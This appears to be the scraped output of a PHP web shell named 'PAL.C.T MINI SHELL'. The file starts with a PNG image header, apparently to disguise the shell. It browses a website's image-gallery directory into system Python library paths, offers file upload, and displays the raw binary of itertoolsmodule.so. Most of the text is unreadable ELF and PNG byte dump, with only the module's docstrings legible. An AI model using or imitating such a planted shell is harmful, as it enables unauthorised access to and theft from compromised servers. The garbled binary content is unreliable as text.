php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/python2.6/lib-dynload/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/python2.6/lib-dynload/itertoolsmodule.so

ELF044 (uu,,lll$$PtdaaaQtdGNU?0wƖ9'1җ\@@ A@	@BD|CEqX3OoS#6
 + h'|/CvWLo&mGfM_Y5
z"]I6=	]?__gmon_start___init_fini__cxa_finalize_Jv_RegisterClassesinititertoolsPyType_TypePy_InitModule4strchrPyModule_AddObjectPyType_ReadyPyInt_FromSize_tPyExc_TypeErrorPyErr_SetStringPy_BuildValuePyObject_GetIter_Py_NoneStructPyArg_ParseTupleAndKeywordsPyObject_RichCompareBoolPyIter_NextPyObject_CallFunctionObjArgs_PyObject_GC_NewPyObject_GC_TrackPyTuple_PackPyObject_GC_UnTrackPyObject_GC_Del_PyArg_NoKeywordsPyArg_ParseTuplePyTuple_SizePyObject_ReprPyString_FromFormatPyTuple_NewPyMem_MallocPySequence_TuplePyMem_FreePyErr_NoMemoryPyExc_ValueErrorPyInt_AsSsize_tPyErr_OccurredPySequence_SizePyDict_TypePyErr_ExceptionMatchesPyDict_SizePyDict_GetItemStringPyErr_FormatPyArg_UnpackTuplePyExc_StopIterationPyErr_Clear_PyObject_NewPyInt_FromSsize_tPyNumber_AddPyInt_FromLongPyObject_FreePyObject_IsTruePyBool_TypePyObject_CallPyTuple_TypePyList_NewPyList_SizePyList_AppendPyType_IsSubtypePyObject_ClearWeakRefsPyObject_HasAttrStringPyObject_CallMethodPyObject_GenericGetAttrPyObject_SelfIterlibpthread.so.0libc.so.6_edata__bss_start_endGLIBC_2.1.3GLIBC_2.0,si	Nii
Z $(,048<@DHLPTX\`hLX,8x|\p8<P|̝؝0\<؟ܟlxРLXܡ,8x|X\p8<P|̤ؤ04\<ئܦlxЧLXܨ,8x|X\p8<P|ī̫ $,@DL`dl48<@DHLP T)X-\=$H$($$$ȟ$$$h$H$($$$Ȧ$$$h$H$($`@ @ 	l	L	,			̠			l	L	,			̧			l	L	lptx|

āȁ́!Ё"ԁ#؁%܁&'(*+,./012345678 9$:(;,<0=4>8?US[ðmt~IX[hhhhh  h($h0(h8p,h@`0hHP4hP@8hX0<h` @hhDhpHhxLhPhThXh\h`hdhhhplh`phPth@xh0|h hhhhhhhh h(h0h8ph@`hHPhP@hX0h` hhhphxhhhhUVS&jd$@+u\t$)֋D+9st&D+D+9rƃ@+d$[^]
US0×id$싓tt$Ѝd$[]Ë$ÐUWVd$u}FtU$T$ׅuZFtU$T$ׅuCFtU$T$ׅu,FtU$T$ׅuV1tE$D$׍d$^_]Ð&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&UWVd$}GtU$T$UuCG1~$vDtU$T$Uuv9wߋW1t
E$D$Ud$^_]ÐUWVd$}GtG҉tkW~81v9w~,DtD҉u݋Pv$R9wԋGtG҉u	P$Rd$1^_]ËP$R느t&Ud$EP1t
E$D$UÍ&'Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$EP1t
E$D$UÍ&'UWVd$u~G@pEV9V~G}V9VV~.E$ׅt3҉uۋP$RV9VVҋ}Nt19d$ ^_]Ív<$UtNVʃF9щV~؋VVЍt&'Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&UV֍d$D$$tp@d$$^]Ë҉uVE4$REݍt&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$uu}}FtU$T$ׅuV1tE$D$׋u}]Í&Ud$EP1t
E$D$UÍ&'U1UJt~IJBB]Í'UWVd$u}FtU$T$ׅu,FtU$T$ׅuV1tE$D$׍d$^_]ÍUWV}S}a$t󥋃D$D$D$`*D$$EtTut\}<&D$.F$D$Et$$h7t4$y$[^_]Ív$vxߍ$dx͍$R$[^_]fUSw`d$E@t$nd$[]ÍvD$$1fUS'`d$EPt'T$@D$$d$[]Í&PT$@D$$`d$[]Ðt&Ud$]EGî_u$ut]‰u]t&]u]ÍUVSf_d$ЋEED$ED$*D$D$ED$Eu$u1d$0[^]Ít&4$D$t@@@EFEE$	FuuF4$1P됍Ud$ȉ}}]u!È^wNFD$D$G$~VVFFtF
ɉ
t]u}]ÍJE$QE]u}]Ít&]u}1]ÐF$tߋF;tGT$UD$$UtFV:vuB$P1ZЍUWVSu]d$ԋuFt0VD$D$$F$F;tYD$|$$1tYVFtt4F~n҉_P$RQ븐B$Pt&1d$,[^_]Ðt&FFVVt҉tkVU$NjUtpP$|$FD$$҉uW<$EREd$,[^_]ËP$R늋G<$P1Mt&'Ud$؉]uWþ[}u$ht!FFGFGG<$!]u}]Í&'Ud$؉]uN[}ƍ$t@@p$]u}]Ít&Ud$ȉuu]}Z~8"V9z~IDF]u}]f~Wt^WNt2VF19zBU$/UtBDfFHU$QU뺍t&G‰Gt돍'UVS&Zd$u4$5Ft҉Ft҉tyFt҉tWFt҉t5Ft҉uFP$RF4$d$[^]ÍvFP$RfFP$RfFP$Rv&FP$RL&Ud$]u.Yu4$AFt҉uFP$RF4$]u]É'UVSoXd$u4$Ft҉tWFt҉t5Ft҉uFP$RF4$d$[^]ÍvFP$RfFP$R뛍v'UVS6Xd$u4$EFt҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'UVSOöWd$u4$Ft҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'UVS6Wd$u4$EFt҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'UVSOöVd$u4$Ft҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'UVS6Vd$u4$EFt҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'UVSOöUd$u4$Ft҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'Ud$]u.Uu4$AFt҉uFP$RF4$]u]É'UVSoTd$u4$Ft҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'UVSVTd$u4$eFt҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'UVSoSd$u4$Ft҉t7Ft҉uFP$RF4$d$[^]Ðt&FP$R뻍v'Ud$]uNSu4$aVt/VuFP$R4$]u]ÍvFP$RfUd$]uwRu4$4$4$]u]ÍvUd$؉]u7ÞRu 9Ɖ}U}t"<$t,]}‰u]T$$uȋ]u}1]Ít&'Ud$ȉ]uRu %9Ɖ}E}t6E<$D$ED$
D$Ru21]u}]ÍvED$$7t믐t&<$t&t.D$4$tUUPUP땐t&}yE&Ud$ȉ]}>Q}uG$1t;GtGD$FD$#$҉uVE4$RE]u}]Í&FD$$뻉'Ud$؋U]u4ÛPB=t#D$3$M]u]Í&B$1t܍FD$>$҉uVE4$RE뫍t&UWVSPd$EU@ErRx1]MIM܃>~=<$UB~1ҋLLR9u҉MU܋LMĉU
Mԉ
M܋Uč|M;Ju{MxOUL};QuRUQLT҉uQE؉$REyE@1d$L[^_]Í&UԉMċMԋ}ċTLT҉t*d$L[^_]ÍVE؉4$REt&QE؉$REʼn<$sMA~UJ1ҋqVut&Ly>ILR9jUWVSNd$EU@EȋJrMMz@E؋RUEIyE؅}̃?~SMԉ$EbUBMԅ~!u1Mԋu̐TT@9uuMԃMUMM܋umM؋Eԃ<}Ћ}DǍv9MU}EfT@9|EЋUU܋E+Em}܋Ut}؍)Nj
8:E9E~TỦ}Dv9}ԍv~6UȋDuًBMĉ$P9}ԋMčvʋŨE̍d$L[^_]ËG<$PMAEӉ׉$VEt܋UB~1M̋}ȋTT@;Eu뒐UWVS~Kd$ԋEU@Ez?ug~L1	v9u~?UBDP$RpTDuʋBv$P9ud$,[^_]ÍE$tދu~1E}UDv9u~AGDP$Rpu݋}ft
1d$,[^_]ËG<$1Pwp'UWVS^Jd$ԍ9E}<$EE$EtnvD$tHMDv9uED$$UPWPd$,[^_]Ðt&Ut71d$,[^_]Í&D$$:d$,1[^_]ËB$P1렋ED$H$=1띋M҉uQE܉$RE]t&'UWVSuId$ċEU@E܋rzHBEER}؃?~eEMЉ$TE؋MUBE~-Mu1Mu؍&TT@9uMuԋEx7<Q}?9uM}IuԍTvU΋:I9Ru'yE@EE؍d$<[^_]Ít&uԋUH:9M~E}䐍t&DR9E9E~QU؍|ʉ
9u~8vU܋Du׋BMЉ$P9uMЉȋ}؃E؍d$<[^_]Ít&GMЉ<$PM$E}GU~1M؋}܍t&TT@;EuUWVS`Gd$uEUR‰UЉE$Eȉ$IEtBE1~_}̋}t&UԉDEv9u~7D$u׋}̉<$Mԅ1d$L[^_]Í;u}+U+EЋMЍDfv;uȍ@|ED$$tUԉxP@@d$L[^_]Í0EE$PYEt$D$<$E܉D$OD$totIE|{1EEt&UԋB$P1G<$P1t&G<$P1D$$1t&'UVS&Ed$u4$5Ft҉t?Ft҉uFP$RF$F4$d$[^]fFP$RfUVS?æDd$u4$Ft҉tOFt҉uFP$RF$*F$F4$d$[^]Í&FP$RfUWVESDd$ED$ED$*D$ZD$ED$E$u1d$L[^_]ÐE$yt@EԋExp$U1~t&@9EUD$$tmxp@UPU9U҉Pd$L[^_]ÍjD$$lD5G<$P1'4$ƍ&'UVS_Bd$u4$Ft҉t?Ft҉uFP$RF$JF4$d$[^]fFP$RfUWVESBBd$D$ED$*D$D$ED$E}E$u1d$L[^_]ËE$EtpE9$$"EЍ$EЅ1~MЍ@9ut1)@9uEUD$$UMԉHMЉP19H@xPd$L[^_]Ít&<ujD$$!MԅUԋB$P1UŰuЅtEЉỦ$TU̅t$E
UWVSU@d$ԋ}GEWu1ҍd$,[^_]Íwt:~ՉU19t&U܉<$UtV}LDt(v9uB|uBBȍAU܉$PUǍ&BBt[U'UuLBJBDɉkOE؉U܉<$QU܋EQ&U׋UGB$P1t&E$)M1E(&U܉<$yUt&MDv9u~qB|uԋBBېBBWU#UDBJBDɉuOE؉U܉<$QU܋E뀉&UWVS%>d$ԋuE$At9FU܉<$Ete}1}UDv9uD$u݋$)U1d$,[^_]É4$4$D$Et4$cG D$$pd$,1[^_]Ð}<$9n~1&T@9uED$$t`UxPxpU܃Pd$,[^_]ÐTvD$t$$B$P1EsUtF4$P1B$P֍v'UWVS<d$ԋE$4Ǎ@$9E<$EtY~g}1}fUDv9u~ID$uዻ$5U1d$,[^_]Ít&}<$t΅~1vT@9uED$$trUxPpd$,[^_]Ðt&ED$$tvD$t$$97B$P1;UtF4$P1B$P֐&Ud$]un:u"9Ɖ}tHED$ED$D$ED$D$$u11]u}]fED$$t띐t&E$)tD$4$tUUPx뚋҉uWEԉ<$RE{v'Ud$]u~9u!9Ɖ}tHED$ED$D$ED$D$$u11]u}]fED$$t띐t&E$9tD$4$tUUPx뚋҉uWEԉ<$RE{v'Ud$]u'Î8u9Ɖ}tHED$ED$D$ED$D$$u11]u}]fED$$t띐t&E$ItD$4$tUUPx뚋҉uWEԉ<$RE{v'Ud$]u7Þ7u@9Ɖ}tHED$ED$D$ED$D$$u11]u}]fED$$t띐t&E$YtD$4$tUUPx@듋҉uWEԉ<$REtvUd$]uGî6u`9Ɖ}tHED$ED$~D$ED$D$$u11]u}]fED$$t띐t&E$itD$4$tUUPx@듋҉uWEԉ<$REtvUWVS^5d$u=$\ulAt$tOFuQVt:Fu$t`$Ft?FuFua1d$[^_]ÍvF҉uP$R뒍vG<$P붋FtF҉uP$R룐F҉uP1$R냉'UWVS>å4d$ u}9EEEbED$D$D$E܉<$D$ED$ED$D$u1d$L[^_]Ðt&<$,7E9Et$EE9$EE}„{E؅9$E$:D$4$EU9PUԉPUЉPx@d$L[^_]ÐEEcED$$|v^vE9$EE1f?t4D$$d$L1[^_]Ðt&tzdvEEt&t>놋
ɉ
JẺ$QE
Ud$]ug1`#9u}EtsED$D$ED$D$$t`E11t$ttY1҉Uԉ4$UtmxP]u}]fED$$p]u}1]Ít&t&UB@Wt1녍t&t
ɉ
uJEԉ$QEvD$$1Ut&Ud$؉uu]}!È0F=t PV$Nlj]u}]Ð~tQH+t'~D$<$t,F]u}]f$H+uf1뜍t&$Fu1끉'Ud$uu]d/Ft҉uFP$R4$]u]Ðt&UWVSÅ/d$ԋE@E@@pEG&D$t$$$~҉tWtCt`E$Ut)UB;t;u4$7uč&d$,[^_]Ðt&WE܉<$RE똍&F4$P땐t&t
1d$,[^_]ËF4$1P룍t&'UWVSu.d$ԋE@E@@pEG&D$t$$p$n҉tWuCt`E$Ut)UB;t;u4$'tč&d$,[^_]Ðt&WE܉<$RE똍&F4$P땐t&t
1d$,[^_]ËF4$1P룍t&'Ud$ȉuu]}X-~Fu1]u}]ËP$RptD$D$F$FtG$EGU
ɉ
tut>F1딍vJE$QEҋoG<$1PaG<$P뷍'UWVSÅ,d$ԋE@E@@pEE$UtaUztXD$D$B$mts$o҉t8tGuG<$PE$Uud$,[^_]Ðt&VE܉4$RE܅uE@d$,[^_]Ët
1d$,[^_]ËG<$1P룍t&'UWVSÅ+d$ԋUBU$~E$NjUt@E~G1vDv9u~4BDU$޽Uuۋt[1d$,[^_]ÍvB;tD$|$$轿҉tǍd$,[^_]ÐW<$EREG<$1PUd$ȉ}}]u1Ø*GP$Rptp9FuED$t$G$2҉uVE4$RE]u}]Í&4$҉tt	렐t&]u}1]ÐVE4$RE
Ud$]ug)u9Ɖ}t@ED$nD$ED$D$$ u01]u}]ÐED$$t륐t&E$葽t$课t*D$4$EUt.xP@뇋vG<$P1huGUԉ<$PUԋ=B$P1/t&UWVS>å(d$uF$Aug&t$tb艽F$讼tNF$菼t?VFFuB$P댍t&VuD$F$讼fd$[^_]Í'Ud$ȉ$]ut'}1t0F9t|$$t 4$҉tU]u}]É<$D1t؉GtJGG<$҉u&V4$ERE]u}]Ít&<$1qUS蠽'd$̍ED$MD$ED$D$$e1tEd$4[]Ív'Ud$uu]4Û&Nt4$
FtF҉u	P$R]u1]Ð&Ud$]u׼>&u4$Q4$u4$!]u]ÍvUWVES蛼&d$ED$ED$D$E$EE$tuud$<[^_]ÍE$ѹt^!4$EԉD$ֺ‰G}~Dv9u~UD$T$$ѷuًt=1d$<[^_]ÍvD$1$@d$<[^_]ËG<$1P(҉tR덍VEЉ4$REߐUVSÆ$t&vЋu[^]US[L$Y[itertoolslen() of unsized objectO(O)O(n)O|O:groupbychain()repeat()O|n:repeatrepeat(%s)repeat(%s, %zd)count(%zd)count(%s)imap()|n:productOn:combinationsr must be non-negativeO|O:permutationsfillvalueizip()ifilterfalse()ifilter()starmap()takewhile()dropwhile()islice()count()an integer is requiredcycle()O|nn must be >= 0__copy__itertools.tee_dataobjectitertools.teeitertools._grouperitertools.cycleitertools.dropwhileitertools.takewhileitertools.isliceitertools.starmapitertools.imapitertools.chainitertools.ifilteritertools.ifilterfalseitertools.countitertools.izipitertools.repeatkeyitertools.combinationsitertools.izip_longestitertools.permutationsitertools.productitertools.groupbyfrom_iterable__reduce____length_hint__imap() must have at least two arguments.repeat argument cannot be negativeizip_longest() got an unexpected keyword argumentizip_longest argument #%zd must support iterationizip argument #%zd must support iterationStop argument for islice() must be a non-negative integer or None.Indices for islice() must be non-negative integers or None.Step for islice() must be a positive integer or None.;Y4Ķ<d$TD(tH$ttĺd<dTDt$DldԿ$4`4DdtTT 	TL	x	T		T	$
4P
|
4


d4Ddtt0p$d<
h
t

D4@dpt0` pP$L$HDtzR|$@AB
IyAA$DIAB
JFt
A$lгoAB
I`AA(AB
I
AAA"AB
^$IAB
JFt
A$ĴIAB
JFt
A$0IAB
JFt
AX"AB
^(x$AB
In
AAD$IAB
JFt
A$еIAB
JFt
A$LAB
Ch
AA$ IAB
JFt
A$DHIAB
JFt
A$lpIAB
JFt
A$IAB
JFt
A$IAB
JFt
A$IAB
JFt
A$IAB
JFt
A48"AB
^TH#AD
]$tXZAB
IKAA8AG
EA
AAADzAAA$dNAB
Ag
AD,kAB
A{
AHaA00̸JAB
JTU

AIH
A(dAB
B\
AAEHAB
JFe

AGZ

AEM

AB<`AB
C
AAAF
AAAA(лbAB
JZy
A(H\AB
JYt
A,tHAB
JFq

AC(AB
B
AAD$WAB
JH
A(AB
Bm
AAD($XvAB
B[
AAF(PvAB
B[
AAF(|vAB
B[
AAF(TvAB
B[
AAF(vAB
B[
AAF(vAB
B[
AAF$,PWAB
JH
A(TvAB
B[
AAF(vAB
B[
AAF(0vAB
B[
AAF(nAB
JN

AD$=AB
Jn
A4,uAB
J_]

AFc
A,d(AB
Jcs

AD,AB
JWS

AH(HAB
Mo

AH<AB
C'
AAAHn
AAAG,0	l/AB
C
AAAA<`	lAB
C
AAAGd
AAAAH	LEAB
C
AAAFU
AAAHa
AAAA<	PAB
C

AAAE
AAAE<,
 5AG
C
AAAGf
AAAG(l
 ~AB
Bf
AAC(
tAB
Bq
AAH<
BAB
FR
AAAB
AAAA(~AB
Bf
AAC<0<AB
F[
AAAA
AAAE,p)AB
Ch
AAAGLAB
C
AAAA[
AAABk
AAAB<AB
C
AAAEW
AAAF,0AB
J[D

AC,`AB
J[D

AC,AB
J[D

AC,LAB
J[D

AC,AB
J[D

AC, 
AB
C
AAADLP
AB
C
AAAF
AAAB
AAAF8
<<AB
J`o

ACj

AE8
@AB
JFr

ABt

AC$KAB
JCy
A<@AB
C
AAAF|
AAAA<AB
C
AAAF|
AAAA,AB
JFc

AAH<AB
C
AAAFd
AAAAT
AAAA<<AB
C{
AAADs
AAAB8|AB
JFd

AHm

AB,$+AB
J[}

AB($AB
CAAA<AB
MNH

AAb

AE TXVAB
APA(xXAB
JCF
A$=AB
Jn
AHqAB
Fe
AAAG
AAADc
AAAA``@ @ h,
]oT
d`
0o
oo
ol
*:JZjz
*:JZjz
*:JZjz
Functional tools for creating and using iterators.

Infinite iterators:
count([n]) --> n, n+1, n+2, ...
cycle(p) --> p0, p1, ... plast, p0, p1, ...
repeat(elem [,n]) --> elem, elem, elem, ... endlessly or up to n times

Iterators terminating on the shortest input sequence:
izip(p, q, ...) --> (p[0], q[0]), (p[1], q[1]), ... 
izip_longest(p, q, ...) --> (p[0], q[0]), (p[1], q[1]), ... 
ifilter(pred, seq) --> elements of seq where pred(elem) is True
ifilterfalse(pred, seq) --> elements of seq where pred(elem) is False
islice(seq, [start,] stop [, step]) --> elements from
       seq[start:stop:step]
imap(fun, p, q, ...) --> fun(p0, q0), fun(p1, q1), ...
starmap(fun, seq) --> fun(*seq[0]), fun(*seq[1]), ...
tee(it, n=2) --> (it1, it2 , ... itn) splits one iterator into n
chain(p, q, ...) --> p0, p1, ... plast, q0, q1, ... 
takewhile(pred, seq) --> seq[0], seq[1], until pred fails
dropwhile(pred, seq) --> seq[n], seq[n+1], starting when pred fails
groupby(iterable[, keyfunc]) --> sub-iterators grouped by value of keyfunc(v)

Combinatoric generators:
product(p, q, ... [repeat=1]) --> cartesian product
permutations(p[, r])
combinations(p, r)
Data container common to multiple tee objects.tee(iterable, n=2) --> tuple of n independent iterators.Iterator wrapped to make it copyablecycle(iterable) --> cycle object

Return elements from the iterable until it is exhausted.
Then repeat the sequence indefinitely.dropwhile(predicate, iterable) --> dropwhile object

Drop items from the iterable while predicate(item) is true.
Afterwards, return every element until the iterable is exhausted.takewhile(predicate, iterable) --> takewhile object

Return successive entries from an iterable as long as the 
predicate evaluates to true for each entry.islice(iterable, [start,] stop [, step]) --> islice object

Return an iterator whose next() method returns selected values from an
iterable.  If start is specified, will skip all preceding elements;
otherwise, start defaults to zero.  Step defaults to one.  If
specified as another value, step determines how many values are 
skipped between successive calls.  Works like a slice() on a list
but returns an iterator.starmap(function, sequence) --> starmap object

Return an iterator whose values are returned from the function evaluated
with a argument tuple taken from the given sequence.imap(func, *iterables) --> imap object

Make an iterator that computes the function using arguments from
each of the iterables.  Like map() except that it returns
an iterator instead of a list and that it stops when the shortest
iterable is exhausted instead of filling in None for shorter
iterables.chain(*iterables) --> chain object

Return a chain object whose .next() method returns elements from the
first iterable until it is exhausted, then elements from the next
iterable, until all of the iterables are exhausted.ifilter(function or None, sequence) --> ifilter object

Return those items of sequence for which function(item) is true.
If function is None, return the items that are true.ifilterfalse(function or None, sequence) --> ifilterfalse object

Return those items of sequence for which function(item) is false.
If function is None, return the items that are false.count([firstval]) --> count object

Return a count object whose .next() method returns consecutive
integers starting from zero or, if specified, from firstval.izip(iter1 [,iter2 [...]]) --> izip object

Return a izip object whose .next() method returns a tuple where
the i-th element comes from the i-th iterable argument.  The .next()
method continues until the shortest iterable in the argument sequence
is exhausted and then it raises StopIteration.  Works like the zip()
function but consumes less memory by returning an iterator instead of
a list.repeat(element [,times]) -> create an iterator which returns the element
for the specified number of times.  If not specified, returns the element
endlessly.Returns an independent iterator.combinations(iterable, r) --> combinations object

Return successive r-length combinations of elements in the iterable.

combinations(range(4), 3) --> (0,1,2), (0,1,3), (0,2,3), (1,2,3)izip_longest(iter1 [,iter2 [...]], [fillvalue=None]) --> izip_longest object

Return an izip_longest object whose .next() method returns a tuple where
the i-th element comes from the i-th iterable argument.  The .next()
method continues until the longest iterable in the argument sequence
is exhausted and then it raises StopIteration.  When the shorter iterables
are exhausted, the fillvalue is substituted in their place.  The fillvalue
defaults to None or can be specified by a keyword argument.
permutations(iterable[, r]) --> permutations object

Return successive r-length permutations of elements in the iterable.

permutations(range(3), 2) --> (0,1), (0,2), (1,0), (1,2), (2,0), (2,1)product(*iterables) --> product object

Cartesian product of input iterables.  Equivalent to nested for-loops.

For example, product(A, B) returns the same as:  ((x,y) for x in A for y in B).
The leftmost iterators are in the outermost for-loop, so the output tuples
cycle in a manner similar to an odometer (with the rightmost element changing
on every iteration).

product('ab', range(3)) --> ('a',0) ('a',1) ('a',2) ('b',0) ('b',1) ('b',2)
product((0,1), (0,1), (0,1)) --> (0,0,0) (0,0,1) (0,1,0) (0,1,1) (1,0,0) ...groupby(iterable[, keyfunc]) -> create an iterator which returns
(key, sub-iterator) grouped by each value of key(value).
chain.from_iterable(iterable) --> chain object

Alternate chain() contructor taking a single iterable argument
that evaluates lazily.Return state information for pickling.Private method returning an estimate of len(list(it)).^p.AP^[A`Z`& PZ^.A"^-E XW^-E@pTJ^,ESI^ ,E@L
_+E`VH_ +E @U6._*E`K@.>_ *E@ RGP_)EpQFg_Q0P`Ow_ )E`p5@E_ (0E@0/_>E7@=_(EpA0C_ <E@3?_0<E0@19_0'E#!^P[ 	`_	`^	`^^%`! `0!` itertoolsmodule.so.debug[8.data.rodata.shstrtab.dynamic.note.gnu.build-id.eh_frame.gnu.hash.fini.gnu_debuglink.dynsym.gnu.version.rel.dyn.data.rel.ro.gnu.version_r.jcr.eh_frame_hdr.dynstr.ctors.dtors.bss.init.rel.plt.got.plt.got.text"$?o<^TT`dfo

o

0s	

0	
0P00EI]]2$]$]aa5dd|  L ll44,``@@`* O 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`